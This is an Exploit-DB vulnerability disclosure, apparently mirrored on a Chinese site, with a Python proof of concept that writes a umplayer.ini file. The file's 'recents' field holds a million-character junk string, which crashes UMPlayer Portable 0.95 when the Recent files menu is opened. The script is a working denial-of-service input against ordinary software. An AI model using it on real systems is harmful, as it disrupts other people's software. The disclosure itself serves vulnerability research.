UMPlayer Portable 0.95 – Crash (PoC)

  • 作者: p3kok
    日期: 2012-11-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/23003/
  • # Exploit Title: UMPlayer (Portable Edition)
    # Date: 2012-11-28
    # Exploit Author: p3kok
    # Vendor Homepage: http://www.umplayer.com/
    # Software Link: http://sourceforge.net/projects/umplayer/ or http://www.umplayer.com/download/
    # Version: 0.95(Portable Edition) Compiled 4.7.0
    # Tested on: xp sp 2
    
    ###### Crash POC ###### 
    # Aplication Crashed when mouse over on "Recent files" submenu under "Open" menu 
    # 1. Generate umplayer.ini file with this code
    # 2. Put umplayer.ini file in UMPlayerPortable directory
    # 2. Open UMPlayer.exe
    # 3. From "Open" menu, Clik "Recent files" and got the crash
    
    file =("[%General]" + "\n"
    "mplayer_bin=mplayer/mplayer.exe" + "\n"
    "driver\\vo=\"directx,\"" + "\n"
    "driver\\ao=dsound" + "\n"
    "use_screenshot=true" + "\n"
    "screenshot_directory=./screenshots" + "\n"
    "recordings_directory=./recordings" + "\n"
    "dont_remember_media_settings=false" + "\n"
    "dont_remember_time_pos=false" + "\n"
    "audio_lang=" + "\n"
    "subtitle_lang=" + "\n"
    "use_direct_rendering=false" + "\n"
    "use_double_buffer=true" + "\n"
    "use_soft_video_eq=false" + "\n"
    "use_slices=false" + "\n"
    "autoq=6" + "\n"
    "add_blackborders_on_fullscreen=false" + "\n"
    "turn_screensaver_off=false" + "\n"
    "avoid_screensaver=true" + "\n"
    "use_soft_vol=true" + "\n"
    "softvol_max=110" + "\n"
    "use_scaletempo=-1" + "\n"
    "use_hwac3=false" + "\n"
    "use_audio_equalizer=true" + "\n"
    "global_volume=true" + "\n"
    "volume=50" + "\n"
    "mute=false" + "\n"
    "autosync=false" + "\n"
    "autosync_factor=100" + "\n"
    "use_mc=false" + "\n"
    "mc_value=0" + "\n"
    "loop=false" + "\n"
    "osd=0" + "\n"
    "file_settings_method=hash" + "\n"
    "font_cache=false" + "\n"
    "playCount=11" + "\n" + "\n" )
    
    junk = "\x41" * 1000000
    file+="[history]" + "\n"
    file+="recents=" + junk
    
    out_file = open("umplayer.ini",'w')
    out_file.write(file)
    out_file.close()